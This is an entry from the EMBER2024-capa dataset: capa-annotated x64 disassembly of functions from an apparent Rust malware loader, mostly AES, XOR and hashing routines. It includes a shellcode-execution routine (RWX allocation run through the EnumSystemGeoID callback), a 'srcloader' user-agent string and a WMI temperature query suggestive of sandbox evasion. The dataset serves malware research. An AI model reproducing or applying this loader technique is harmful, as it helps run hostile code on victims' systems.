joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ea090
Capabilities:
Reference wmi statements

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp - 0x20], 0
cmp dword [rdx + 0x10], 1
jne 0x1400ea18a
mov qword [rbp - 0x10], rdx
lea rcx, [0x14025fdc2]
call sub.OLEAUT32.dll_SysReAllocString
mov rdi, rax
lea rcx, str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call sub.OLEAUT32.dll_SysReAllocString
mov rbx, rax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx]
mov rax, qword [rax + 0xa0]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, rdi
mov r8, rbx
mov r9d, 0x30
call rax
mov r14d, eax
mov rcx, rdi
call sub.OLEAUT32.dll_SysStringLen
mov rcx, rbx
call sub.OLEAUT32.dll_SysStringLen
test r14d, r14d
mov rdx, qword [rbp - 0x10]
js 0x1400ea18a
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x18], rax
cmp qword [rdx + 0x20], 0
je 0x1400ea14e
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x1400ea14e
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rbp - 0x10]
mov qword [rcx + 0x20], 1
mov rax, qword [rbp - 0x18]
mov qword [rcx + 0x28], rax
mov rax, qword [rcx + 0x30]
mov qword [rsi + 0x30], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, qword [rcx + 0x20]
mov qword [rsi + 0x20], rax
mov rax, qword [rcx + 0x28]
mov qword [rsi + 0x28], rax
jmp 0x1400ea199
mov qword [rsi], 2
mov rcx, rdx
call fcn.1400e8570
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x1400f8c50
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rdx
mov r13, rcx
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rax, qword [rdx + 0x20]
movzx ebx, byte [rdx + 0x28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x30], rax
mov byte [rbp - 0x28], bl
mov ecx, 0x5f0
mov edx, 8
call fcn.140001150
test rax, rax
mov qword [rbp - 0x10], rsi
je 0x1400f8ebe
mov r12, rax
mov byte [rbp - 1], bl
mov r8d, 0x5f0
mov rcx, rax
xor edx, edx
call fcn.1401d8b40
mov rax, qword [rsi + 0x58]
mov qword [rbp - 0x18], rax
movabs r9, 0x7465646279746573
movabs r10, 0x6c7967656e657261
movabs r11, 0xded7d4e2d7dedfc6
movabs r15, 0xa60c596fc19fead0
movabs rdi, 0xe414a674f0de7325
movabs rsi, 0x800000000000000
nop dword [rax + rax]
mov eax, 1
lock xadd qword [0x140304cf8], rax
mov rdx, rax
xor rdx, r9
lea rcx, [rdx + r10]
mov r14, rdx
rol r14, 0x10
xor r14, rcx
lea rbx, [r14 + r11]
rol r14, 0x15
xor r14, rbx
add rdx, r15
mov rcx, rdx
xor rcx, rdi
rol rdx, 0x20
xor rax, rbx
add rax, rcx
rol rcx, 0xd
mov r8, r14
xor rcx, rax
rol rax, 0x20
xor r8, rsi
add rdx, r8
shrd r8, r14, 0x30
xor r8, rdx
add rax, r8
rol r8, 0x15
add rdx, rcx
rol rcx, 0x11
xor r8, rax
xor rcx, rdx
rol rdx, 0x20
xor rax, rsi
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor rdx, 0xff
add rdx, r8
rol r8, 0x10
xor r8, rdx
add rax, r8
rol r8, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor r8, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
add rdx, r8
rol r8, 0x10
xor r8, rdx
add rax, r8
rol r8, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor r8, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
add rdx, r8
rol r8, 0x10
xor r8, rdx
rol r8, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rcx, r8
xor rcx, rdx
je 0x1400f8d10
mov rdx, qword [rbp - 0x10]
mov rax, qword [rdx + 0x60]
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movups xmmword [r13 + 0x110], xmm1
movups xmmword [r13 + 0x100], xmm0
mov rbx, qword [rbp - 0x20]
mov qword [r13 + 0x120], rbx
movzx ebx, byte [rbp - 1]
mov byte [r13 + 0x128], bl
mov qword [r13], 0
mov qword [r13 + 8], r12
mov qword [r13 + 0x80], 0
mov qword [r13 + 0x88], r12
mov rbx, qword [rbp - 0x18]
mov qword [r13 + 0x130], rbx
mov qword [r13 + 0x138], rcx
mov qword [r13 + 0x140], rax
mov rcx, qword [rdx + 0x48]
test rcx, rcx
je 0x1400f8eaa
mov rdx, qword [rdx + 0x40]
test rdx, rdx
je 0x1400f8eaa
mov r8d, 1
call fcn.140001160
mov rax, r13
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 0x5f0
mov edx, 8
call fcn.1401f27a0
ud2
Function at 0x1400ffae0
Capabilities:
Encode data using xor
Reference http user-agent string

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov qword [rbp - 8], 0xfffffffffffffffe
mov r14d, r9d
mov r9, r8
mov r8, rdx
mov r12, rcx
lea rdx, [0x1402619e0]
lea rcx, [rbp - 0x28]
call fcn.140103c60
cmp qword [rbp - 0x28], 0
jne 0x1400ffc53
mov r15, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x18]
mov r8, qword [rbp - 0x10]
test r8, r8
je 0x1400ffc91
cmp r8, 8
jae 0x1400ffb44
xor eax, eax
jmp 0x1400ffc85
movzx ecx, r14b
cmp r8, 0x20
jae 0x1400ffb55
xor eax, eax
jmp 0x1400ffc0b
mov rax, r8
and rax, 0xffffffffffffffe0
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
lea rdx, [rax - 0x20]
mov rsi, rdx
shr rsi, 5
inc rsi
test rdx, rdx
je 0x1400ffc49
mov rdi, rsi
and rdi, 0xfffffffffffffffe
xor edx, edx
nop
movdqu xmm1, xmmword [rbx + rdx]
movdqu xmm2, xmmword [rbx + rdx + 0x10]
movdqu xmm3, xmmword [rbx + rdx + 0x20]
movdqu xmm4, xmmword [rbx + rdx + 0x30]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [rbx + rdx], xmm1
movdqu xmmword [rbx + rdx + 0x10], xmm2
pxor xmm3, xmm0
pxor xmm4, xmm0
movdqu xmmword [rbx + rdx + 0x20], xmm3
movdqu xmmword [rbx + rdx + 0x30], xmm4
add rdx, 0x40
add rdi, 0xfffffffffffffffe
jne 0x1400ffb90
test sil, 1
je 0x1400ffbfc
movdqu xmm1, xmmword [rbx + rdx]
movdqu xmm2, xmmword [rbx + rdx + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [rbx + rdx], xmm1
movdqu xmmword [rbx + rdx + 0x10], xmm2
cmp r8, rax
je 0x1400ffc91
test r8b, 0x18
je 0x1400ffc85
mov rdx, rax
mov rax, r8
and rax, 0xfffffffffffffff8
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
nop word cs:[rax + rax]
movq xmm1, qword [rbx + rdx]
pxor xmm1, xmm0
movq qword [rbx + rdx], xmm1
add rdx, 8
cmp rax, rdx
jne 0x1400ffc30
jmp 0x1400ffc8c
xor edx, edx
test sil, 1
jne 0x1400ffbde
jmp 0x1400ffbfc
movups xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x40], xmm0
lea rax, str.srcloader_srclib.rsUser_AgentMozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_122.0.0.0_Safari_537.36_Edg_122.0.0.0_:_____n
mov qword [rsp + 0x20], rax
lea rcx, [0x140261798]
lea r9, fcn.140001020
lea r8, [rbp - 0x40]
mov edx, 0x2b
call fcn.1401f2d90
ud2
xor byte [rbx + rax], r14b
inc rax
cmp r8, rax
jne 0x1400ffc85
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], r8
lea rcx, [rbp - 0x28]
mov rdx, rbx
call fcn.1401c6d00
xor edi, edi
cmp qword [rbp - 0x28], 0
cmove rdi, qword [rbp - 0x18]
lea r14, [0x140261798]
cmove r14, qword [rbp - 0x20]
test rdi, rdi
je 0x1400ffcec
js 0x1400ffd35
mov edx, 1
mov rcx, rdi
call fcn.140001150
mov rsi, rax
test rax, rax
jne 0x1400ffcf1
mov edx, 1
mov rcx, rdi
call fcn.1401f27a0
jmp 0x1400ffd3a
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, rdi
call fcn.1401d84a0
mov qword [r12], rdi
mov qword [r12 + 8], rsi
mov qword [r12 + 0x10], rdi
test r15, r15
je 0x1400ffd23
mov r8d, 1
mov rcx, rbx
mov rdx, r15
call fcn.140001160
mov rax, r12
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
call fcn.1401bf0a0
ud2
Function at 0x1401010e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], rcx
mov rdi, qword [rcx + 0x10]
mov qword [rbp - 0x28], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x10]
lea r9, [rbp - 0x28]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov rsi, qword [rax + 8]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rsi
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov dword [rbp - 0x1c], 4
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x10]
lea r8, [rbp - 0x28]
mov rcx, 0xffffffffffffffff
mov r9d, 0x40
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov r8, qword [rbp - 0x10]
mov ecx, reloc.WS2_32.dll_recv
xor edx, edx
call sub.KERNEL32.dll_EnumSystemGeoID
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax]
test rdx, rdx
je 0x1401011ad
mov r8d, 1
mov rcx, rsi
call fcn.140001160
nop
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret

Function at 0x140101290
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aeskeygenassist xmm0, xmmword [rdx], 2
movdqa xmmword [rcx], xmm0
ret
Function at 0x140101980
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x58
movaps xmmword [rsp + 0x40], xmm10
movaps xmmword [rsp + 0x30], xmm9
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
movdqa xmm0, xmmword [rcx]
movdqa xmm1, xmmword [rcx + 0x10]
movdqa xmm9, xmmword [rcx + 0x20]
movdqa xmm8, xmmword [rcx + 0x30]
movdqa xmm10, xmmword [rdx]
pxor xmm10, xmm0
movdqa xmm3, xmmword [rdx + 0x10]
pxor xmm3, xmm0
movdqa xmm4, xmmword [rdx + 0x20]
pxor xmm4, xmm0
movdqa xmm5, xmmword [rdx + 0x30]
pxor xmm5, xmm0
movdqa xmm2, xmmword [rdx + 0x40]
pxor xmm2, xmm0
movdqa xmm6, xmmword [rdx + 0x50]
pxor xmm6, xmm0
movdqa xmm7, xmmword [rdx + 0x60]
pxor xmm7, xmm0
pxor xmm0, xmmword [rdx + 0x70]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
aesenc xmm10, xmm9
aesenc xmm3, xmm9
aesenc xmm4, xmm9
aesenc xmm5, xmm9
aesenc xmm2, xmm9
aesenc xmm6, xmm9
aesenc xmm7, xmm9
aesenc xmm0, xmm9
aesenc xmm10, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm1, xmmword [rcx + 0x40]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x50]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x60]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x70]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x80]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x90]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0xa0]
aesenclast xmm10, xmm1
aesenclast xmm3, xmm1
movdqa xmmword [rdx], xmm10
movdqa xmmword [rdx + 0x10], xmm3
aesenclast xmm4, xmm1
movdqa xmmword [rdx + 0x20], xmm4
aesenclast xmm5, xmm1
movdqa xmmword [rdx + 0x30], xmm5
aesenclast xmm2, xmm1
aesenclast xmm6, xmm1
movdqa xmmword [rdx + 0x40], xmm2
movdqa xmmword [rdx + 0x50], xmm6
aesenclast xmm7, xmm1
movdqa xmmword [rdx + 0x60], xmm7
aesenclast xmm0, xmm1
movdqa xmmword [rdx + 0x70], xmm0
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
add rsp, 0x58
ret
Function at 0x14012f880
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov r15, rdx
mov r14, rcx
movzx r8d, byte [rcx]
add qword [rdx + 0x30], 8
movzx ecx, r8b
mov qword [rsp + 0x28], rcx
mov r9, qword [rdx + 0x40]
test r9, r9
je 0x14012f964
mov edi, 8
mov edx, 8
sub rdx, r9
cmp rdx, 8
cmovb rdi, rdx
xor ebx, ebx
xor eax, eax
cmp rdi, 4
cmovae rbx, rcx
setae al
lea rcx, [rax*4 + 1]
shl rax, 2
cmp rcx, rdi
jae 0x14012f8fb
movzx esi, word [rsp + rax + 0x28]
lea ecx, [rax*8]
shl rsi, cl
or rbx, rsi
or rax, 2
cmp rax, rdi
jae 0x14012f910
movzx edi, byte [rsp + rax + 0x28]
shl eax, 3
mov ecx, eax
shl rdi, cl
or rbx, rdi
lea ecx, [r9*8]
shl rbx, cl
or rbx, qword [r15 + 0x38]
mov qword [r15 + 0x38], rbx
cmp r9, 8
jbe 0x14012f968
add r9, 8
mov qword [r15 + 0x40], r9
inc r14
test r8b, r8b
jne 0x14012fab6
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x28]
mov r8d, 8
mov rcx, r15
call fcn.140014a40
mov r8d, 4
jmp 0x14012fad8
xor edx, edx
jmp 0x14012f9bc
mov rdi, qword [r15 + 0x18]
mov rcx, qword [r15 + 0x10]
mov rax, qword [r15]
add rax, rcx
rol rcx, 0xd
xor rdi, rbx
xor rcx, rax
rol rax, 0x20
mov rsi, qword [r15 + 8]
add rsi, rdi
rol rdi, 0x10
xor rdi, rsi
add rax, rdi
rol rdi, 0x15
xor rdi, rax
add rsi, rcx
rol rcx, 0x11
mov qword [r15 + 0x18], rdi
xor rcx, rsi
rol rsi, 0x20
mov qword [r15 + 0x10], rcx
mov qword [r15 + 8], rsi
xor rax, rbx
mov qword [r15], rax
mov r10d, 8
sub r10, rdx
mov r9d, r10d
and r9d, 7
and r10, 0xfffffffffffffff8
cmp rdx, r10
jae 0x14012fa43
mov rsi, qword [r15 + 0x18]
mov rbx, qword [r15]
mov rcx, qword [r15 + 8]
mov rdi, qword [r15 + 0x10]
nop word cs:[rax + rax]
add rbx, rdi
rol rdi, 0xd
mov rax, qword [rsp + rdx + 0x28]
xor rdi, rbx
rol rbx, 0x20
xor rsi, rax
add rcx, rsi
rol rsi, 0x10
xor rsi, rcx
add rbx, rsi
rol rsi, 0x15
add rcx, rdi
rol rdi, 0x11
xor rdi, rcx
rol rcx, 0x20
xor rsi, rbx
xor rbx, rax
add rdx, 8
cmp rdx, r10
jb 0x14012f9f0
mov qword [r15 + 0x18], rsi
mov qword [r15], rbx
mov qword [r15 + 0x10], rdi
mov qword [r15 + 8], rcx
cmp r9d, 3
jbe 0x14012fa60
mov ebx, dword [rsp + rdx + 0x28]
mov eax, 4
mov rcx, rax
or rcx, 1
cmp rcx, r9
jb 0x14012fa70
jmp 0x14012fa8a
xor eax, eax
xor ebx, ebx
mov rcx, rax
or rcx, 1
cmp rcx, r9
jae 0x14012fa8a
lea rcx, [rax + rdx]
movzx edi, word [rsp + rcx + 0x28]
lea ecx, [rax*8]
shl rdi, cl
or rbx, rdi
or rax, 2
cmp rax, r9
jae 0x14012faa2
add rdx, rax
movzx edx, byte [rsp + rdx + 0x28]
shl eax, 3
mov ecx, eax
shl rdx, cl
or rbx, rdx
mov qword [r15 + 0x38], rbx
mov qword [r15 + 0x40], r9
inc r14
test r8b, r8b
je 0x14012f93d
mov qword [rsp + 0x28], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x28]
mov r8d, 8
mov rcx, r15
call fcn.140014a40
mov r8d, reloc.WS2_32.dll_recv
mov rcx, r15
mov rdx, r14
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140014a40
Function at 0x14013b0d0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x28
mov r8, qword [rcx + 0x20]
cmp r8, qword [rdx + 0x20]
jne 0x14013b102
test r8, r8
je 0x14013b109
lea rax, [r8 - 0x21]
cmp rax, 0xffffffffffffffe0
jb 0x14013b213
cmp r8, 8
jae 0x14013b110
xor r10d, r10d
xor r9d, r9d
jmp 0x14013b1f0
xor eax, eax
add rsp, 0x28
ret
mov al, 1
add rsp, 0x28
ret
cmp r8, 0x10
jae 0x14013b17c
xor r10d, r10d
xor r9d, r9d
mov r11, r9
mov r9, r8
and r9, 0xfffffffffffffff8
movzx eax, r10b
movd xmm0, eax
nop
mov rax, qword [rdx + r11]
xor rax, qword [rcx + r11]
movq xmm1, rax
por xmm0, xmm1
add r11, 8
cmp r9, r11
jne 0x14013b130
pshufd xmm1, xmm0, 0x55
por xmm1, xmm0
movdqa xmm0, xmm1
psrld xmm0, 0x10
por xmm0, xmm1
movdqa xmm1, xmm0
psrlw xmm1, 8
por xmm1, xmm0
movd r10d, xmm1
cmp r8, r9
jne 0x14013b1f0
jmp 0x14013b208
mov r9, r8
and r9, 0xfffffffffffffff0
movdqu xmm1, xmmword [rcx]
movdqu xmm0, xmmword [rdx]
pxor xmm0, xmm1
cmp r9, 0x10
je 0x14013b1a7
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmm2, xmmword [rdx + 0x10]
pxor xmm2, xmm1
por xmm0, xmm2
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
pshufd xmm0, xmm1, 0x55
por xmm0, xmm1
movdqa xmm1, xmm0
psrld xmm1, 0x10
por xmm1, xmm0
movdqa xmm0, xmm1
psrlw xmm0, 8
por xmm0, xmm1
movd r10d, xmm0
cmp r8, r9
je 0x14013b208
test r8b, 8
jne 0x14013b11c
nop word [rax + rax]
movzx eax, byte [rdx + r9]
xor al, byte [rcx + r9]
lea r11, [r9 + 1]
or r10b, al
mov r9, r11
cmp r8, r11
jne 0x14013b1f0
test r10b, r10b
sete al
add rsp, 0x28
ret
lea r8, str.C:Users_test.cargo_registry_srcgithub.com_1ecc6299db9ec823_rustls_0.21.10_srcmsgshandshake.rsRandom
mov ecx, 0x20
mov edx, 0x20
call fcn.1401f2a90
ud2
Function at 0x14018187d
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rdi
mov qword [rsp + 0x10], rsi
mov rax, rsp
mov rdi, rcx
mov rsi, rdx
mov rdx, r8
mov rcx, r9
mov r8, qword [rsp + 0x28]
xchg rcx, rdx
test rcx, rcx
je 0x1401819f1
lea rsp, [rsp - 0xb8]
movaps xmmword [rsp + 0x10], xmm6
movaps xmmword [rsp + 0x20], xmm7
movaps xmmword [rsp + 0x30], xmm8
movaps xmmword [rsp + 0x40], xmm9
movaps xmmword [rsp + 0x50], xmm10
movaps xmmword [rsp + 0x60], xmm11
movaps xmmword [rsp + 0x70], xmm12
movaps xmmword [rsp + 0x80], xmm13
movaps xmmword [rsp + 0x90], xmm14
movaps xmmword [rsp + 0xa0], xmm15
movdqu xmm0, xmmword [r8]
movdqa xmm8, xmmword [0x1402849a0]
sub rsi, rdi
call fcn.140181a00
movdqa xmm6, xmm0
pshufb xmm6, xmmword [0x140284990]
test rcx, 1
je 0x14018193a
movdqu xmm7, xmmword [rdi]
call fcn.140181080
pxor xmm0, xmm7
paddd xmm6, xmm8
movdqu xmmword [rsi + rdi], xmm0
sub rcx, 1
lea rdi, [rdi + 0x10]
je 0x1401819a6
movdqa xmm14, xmm6
movdqa xmm15, xmm6
paddd xmm15, xmm8
movdqa xmm1, xmmword [0x140284990]
movdqa xmm0, xmm14
movdqa xmm6, xmm15
pshufb xmm0, xmm1
pshufb xmm6, xmm1
call fcn.1401811e0
movdqu xmm1, xmmword [rdi]
movdqu xmm2, xmmword [rdi + 0x10]
movdqa xmm3, xmmword [0x1402849b0]
pxor xmm0, xmm1
pxor xmm6, xmm2
paddd xmm14, xmm3
paddd xmm15, xmm3
movdqu xmmword [rsi + rdi], xmm0
movdqu xmmword [rsi + rdi + 0x10], xmm6
sub rcx, 2
lea rdi, [rdi + 0x20]
jne 0x140181949
movaps xmm6, xmmword [rsp + 0x10]
movaps xmm7, xmmword [rsp + 0x20]
movaps xmm8, xmmword [rsp + 0x30]
movaps xmm9, xmmword [rsp + 0x40]
movaps xmm10, xmmword [rsp + 0x50]
movaps xmm11, xmmword [rsp + 0x60]
movaps xmm12, xmmword [rsp + 0x70]
movaps xmm13, xmmword [rsp + 0x80]
movaps xmm14, xmmword [rsp + 0x90]
movaps xmm15, xmmword [rsp + 0xa0]
lea rsp, [rsp + 0xb8]
mov rdi, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
ret

Function at 0x140181d50
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
aesenc xmm5, xmm0
aesenc xmm6, xmm0
aesenc xmm7, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne fcn.140181d50
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
aesenclast xmm5, xmm0
aesenclast xmm6, xmm0
aesenclast xmm7, xmm0
ret
Function at 0x140181e5a
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm8, xmm1
aesenc xmm9, xmm1
movups xmm1, xmmword [rcx + rax]
add rax, 0x20
aesenc xmm2, xmm0
aesenc xmm3, xmm0
aesenc xmm4, xmm0
aesenc xmm5, xmm0
aesenc xmm6, xmm0
aesenc xmm7, xmm0
aesenc xmm8, xmm0
aesenc xmm9, xmm0
movups xmm0, xmmword [rcx + rax - 0x10]
jne 0x140181e30
aesenc xmm2, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm8, xmm1
aesenc xmm9, xmm1
aesenclast xmm2, xmm0
aesenclast xmm3, xmm0
aesenclast xmm4, xmm0
aesenclast xmm5, xmm0
aesenclast xmm6, xmm0
aesenclast xmm7, xmm0
aesenclast xmm8, xmm0
aesenclast xmm9, xmm0
ret
Function at 0x1401831b0
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rdx
mov rax, qword [rcx]
mov rdx, qword [rcx + 8]
mov rcx, rax
call fcn.14002f250
mov r10, rax
mov al, 1
test rdx, rdx
je 0x1401832cd
test r10, r10
je 0x1401832cd
mov rbx, qword [rsi + 0x10]
movzx ecx, byte [r10]
movzx ebx, byte [rbx]
not bl
test cl, bl
jne 0x1401832cd
mov r9, qword [rsi + 8]
test r9, r9
je 0x1401832d7
mov r8, qword [rsi]
xor byte [r8], cl
mov ecx, 1
cmp r9, 1
je 0x1401832c7
lea rbx, [r9 - 2]
lea rdi, [rdx - 1]
cmp rbx, rdi
mov r11, rdi
cmovb r11, rbx
lea rsi, [r8 + 1]
inc r11
mov ecx, 1
cmp r11, 0x10
jbe 0x1401832ad
cmp rbx, rdi
cmovb rdi, rbx
lea rbx, [r10 + rdi]
add rbx, 2
cmp rsi, rbx
jae 0x140183263
add rdi, r8
add rdi, 2
mov rbx, r10
inc rbx
cmp rbx, rdi
jb 0x1401832ad
mov ecx, r11d
and ecx, 0xf
mov ebx, reloc.WS2_32.dll_recv
cmovne rbx, rcx
mov rdi, r11
sub rdi, rbx
lea r14, [rsi + rdi]
neg rbx
lea rcx, [r11 + rbx]
inc rcx
xor ebx, ebx
nop dword [rax + rax]
movups xmm0, xmmword [r10 + rbx + 1]
movups xmm1, xmmword [rsi + rbx]
xorps xmm1, xmm0
movups xmmword [rsi + rbx], xmm1
add rbx, 0x10
cmp rdi, rbx
jne 0x140183290
mov rsi, r14
add r8, r9
cmp rdx, rcx
je 0x1401832cd
movzx ebx, byte [r10 + rcx]
xor byte [rsi], bl
inc rcx
inc rsi
cmp rsi, r8
jne 0x1401832b0
cmp rcx, rdx
setne al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea r8, str.C:Users_test.cargo_registry_srcgithub.com_1ecc6299db9ec823_ring_0.17.8_src_rsapaddingpss.rs_M__
xor ecx, ecx
xor edx, edx
call fcn.1401f2a90
ud2
Function at 0x140184fd0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], rdx
mov rax, qword [rsp + 0xc0]
mov rbx, qword [rcx]
bswap rbx
mov qword [rsp + 0x38], rcx
mov rdx, qword [rcx + 8]
bswap rdx
test rax, rax
je 0x140185115
mov r13, r9
mov rcx, rax
shl rcx, 4
add rcx, r9
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x30]
xor rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
nop
mov rsi, qword [r13]
mov r14, qword [r13 + 8]
bswap rsi
xor rsi, rbx
bswap r14
xor r14, rdx
mov rcx, r14
mov rdx, qword [rsp + 0x30]
call fcn.140184ba0
mov r12, rax
mov r15, rdx
mov rcx, rsi
mov rdx, qword [rsp + 0x28]
call fcn.140184ba0
mov rdi, rax
